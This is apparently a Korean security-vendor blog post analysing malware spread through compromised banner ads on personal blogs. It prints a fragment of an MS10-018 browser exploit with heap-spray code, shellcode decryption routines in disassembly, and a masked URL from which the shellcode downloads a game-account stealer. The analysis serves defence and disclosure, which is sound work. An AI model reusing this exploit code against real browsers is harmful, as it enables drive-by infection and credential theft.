1. 서론
최근 개인 블로그로 추정되는 블로그에 링크된 배너광고에 악성 URL이 삽입되어 악성코드가 유포되는 사례가 발견되어 이에 대한 분석정보를 공유합니다.
2. 여러분의 배너광고는 안전한가요?
악성코드 유포 사이트들을 분석해 보면 해당 사이트들 자체에 취약성이 존재하여 악성 URL삽입되는 경우도 있지만 외부에서 갖다 쓴 컨텐츠(주로 배너광고)에 악성 URL이 삽입되는 경우도 상당 수 존재합니다.
배너광고는 가장 큰 목적은 수익에 있기 때문에 기업 또는 개인 구분 없이 운영하는 사이트나 블로그에 배너광고를 달고 있지만 이로 인해서 자신의 사이트 또는 블로그가 한 순간에 악성코드 유포지로 전락할 수도 있다는 것을 반드시 알아둘 필요가 있고 이와 관련하여 ASEC대응팀 블로그에서 언급한 바 있습니다.
ㆍ참고 사이트: http://core.ahnlab.com/218
최근 악성코드 유포 사이트들을 분석하던 중에 개인 블로그로 추정되는 두 곳에서 사용하는 배너광고에 악성 URL이 삽입되어 악성코드를 유포했음을 발견했고 해당 블로그들의 웹 페이지를 분석한 결과 두 가지 공통점을 발견하였습니다.
(1) 특정 배너광고 업체에서 제공하는 배너광고 링크가 존재
http://api.******media.com/******media/advertise/******Top.js?key=c8e96d4e8d65********a906563
• 블로그 2:
http://api.******media.com/******media/advertise/******Top.js?key=2541e7697d16********ef34e11
(2) 배너광고에 악성 URL이 포함된 iframe 태그가 존재
height=8><\/iframe>");
3. 악성코드가 감염되는 과정을 살펴보면,,,
삽입된 iframe 태그에 존재하는 x.htm에 아래 코드가 존재하는 걸로 봐서는 MS10-018취약점을 사용해서 악성코드를 다운로드 및 실행하는 것으로 보입니다.
{
var Segnq0="#default#userData"; MS10-018
var tFMfb8 = document.createElement(WEXGu5);
tFMfb8.addBehavior(Segnq0);
document.appendChild(tFMfb8);
YGay7='s';
try
{
for (i=0;i<10;i++)
{
tFMfb8.setAttribute(YGay7,window);
}
}
catch(e)
{}
window.status+='';
}
MS10-018 취약점 코드
난독화된 x.htm을 1차 해제하면 아래와 같은 코드를 얻을 수 있고,
var pUTN6 = lTPTnEj2+'rDDKei83215rDDKei81DEErDDKei8E8BC /*중간생략 */ /* Shellcode */ var nqgRMP8="d"; var eDfDW4 = uQUR6(pUTN6.replace(/rDDKei8/g,Lunt3)); rYaWhU4="d"; var QzwApR1 = new Array() var MmqXXbk0 = 0x86000 - eDfDW4.length*2; var UjjGv0 = "rDDKei80c0"+"crDDKei80c0"+"c"; var EGJw1 = uQUR6(UjjGv0.replace(/rDDKei8/g,Lunt3));; delete xgmkFxh5; delete KTOtHh1; delete CuKwWP6; * 중간생략 */ delete dgugDx4; delete AFKOWpm8; delete mnnbmbW0; delete jIeAszs8; CollectGarbage();
위 코드를 최종적으로 난독화 해제하면 아래와 같이 정상 Shellcode를 얻을 수 있습니다.
난독화 해제 후 얻은 Shellcode는 분석해 보면 XOR를 사용하여 자신의 코드를 두번 암호화 해 두었습니다.
• 복호화 루틴 1: 암호화되어 있는 복호화 루틴 2를 복호화
0040146D |> /310B /xor dword ptr [ebx], ecx ; XOR 복호화
0040146F |. |8BC1 |mov eax, ecx
00401471 |. |05 051D1EBC |add eax, BC1E1D05
00401476 |. |91 |xchg eax, ecx
00401477 |. |FC |cld
00401478 |. |23C5 |and eax, ebp
0040147A |. |43 |inc ebx
0040147B |. |43 |inc ebx
0040147C |. |43 |inc ebx
0040147D |. |43 |inc ebx
0040147E |. |83F0 A9 |xor eax, FFFFFFA9
00401481 |. |4A |dec edx
00401482 |. |0D E13B1EBC |or eax, BC1E3BE1
00401487 |. |B8 00000000 |mov eax, 0
0040148C |. |48 |dec eax
0040148D |. |03C2 |add eax, edx
0040148F |.^\79 DC \jns short 0040146D
• 복호화 루틴 2: Shellcode가 다운로드하는 URL이 존재
00401038 $ 5B pop ebx
00401039 . 4B dec ebx
0040103A . 33C9 xor ecx, ecx
0040103C . 66:B9 B803 mov cx, 3B8
00401040 > 80340B BD xor byte ptr [ebx+ecx], 0BD
00401044 .^ E2 FA loopd short 00401040
• 복호화된 URL: http://114.***.246.***/219.exe
복호화된 URL에서 다운로드된 219.exe는 아래 그림을 보면 정상 PE구조를 가진 파일이 아님을 알 수 있고,
Shellcode는 메모리에서 아래 루틴을 사용하여 암호화된 219.exe를 복호화한 후 PC에 정상 PE파일로 생성합니다.
0040116C . 8946 78 mov dword ptr [esi+78], eax 0040116F . 8B4E 64 mov ecx, dword ptr [esi+64] 00401172 > 807C08 FF A2 cmp byte ptr [eax+ecx-1], 0A2 00401177 . 74 0C je short 00401185 00401179 . 807C08 FF 00 cmp byte ptr [eax+ecx-1], 0 0040117E . 74 05 je short 00401185 00401180 . 807408 FF A2 xor byte ptr [eax+ecx-1], 0A2 00401185 >^ E2 EB loopd short 00401172
지금까지 분석한 내용을 토대로 x.htm의 동작방식을 간단하게 정리해 보면 아래 그림과 같습니다.
219.exe는 윈도우 파일인 imm32.dll을 패치하여 Onlinegamehack(nt32.dll)을 로딩하게 하는 악성코드로 특정 온라인 게임 사용자의 계정정보를 유출하며 아래 그림을 통해서도 확인할 수 있습니다.
계정정보 유출과정에 대한 자세한 분석은 악용될 수 있기에 생략합니다.
4. V3의 대응현황: 2011.02.20.00
5. 에필로그
지금까지 분석한 내용을 결론내 보면 배너광고에 삽입된 악성 URL로 인해서 기업이던 개인이던 간에 자신의 사이트나 블로그가 한 순간에 악성코드 유포지로 변할 수 있고 그로 인해 다른 피해자를 만들 수 있다는 것을 분명히 알야 둬야합니다.
앞에서도 언급했지만 배너광고의 가장 큰 목적은 수익입니다. 수익도 좋지만 자신의 사이트나 블로그에 배너광고를 링크하는 것은 한번 쯤은 신중하게 생각해볼 필요가 있습니다. 보안측면에서,,,
그리고 배너광고를 제공하는 업체는 자신의 고객들에게 좀더 안전한 컨텐츠를 제공할 수 있도록 보안측면에서 노력이 필요할 것입니다.
'악성코드 정보' 카테고리의 다른 글
안드로이드마켓에서 유포된, 사용자폰을 강제루팅시키는 악성 어플리케이션 주의 (2) | 2011.03.03 |
---|---|
음성통화내용도 유출가능한 안드로이드 악성코드 변종 발견 (0) | 2011.03.02 |
메신져를 통해 전파되는 악성코드 주의 (4) | 2011.02.22 |
악성코드는 온라인 게임 사이트를 타고,,, (0) | 2011.02.21 |
안드로이드폰의 개인 정보를 가로채는 악성앱, "Pjapps" 변종 발견 (0) | 2011.02.20 |
댓글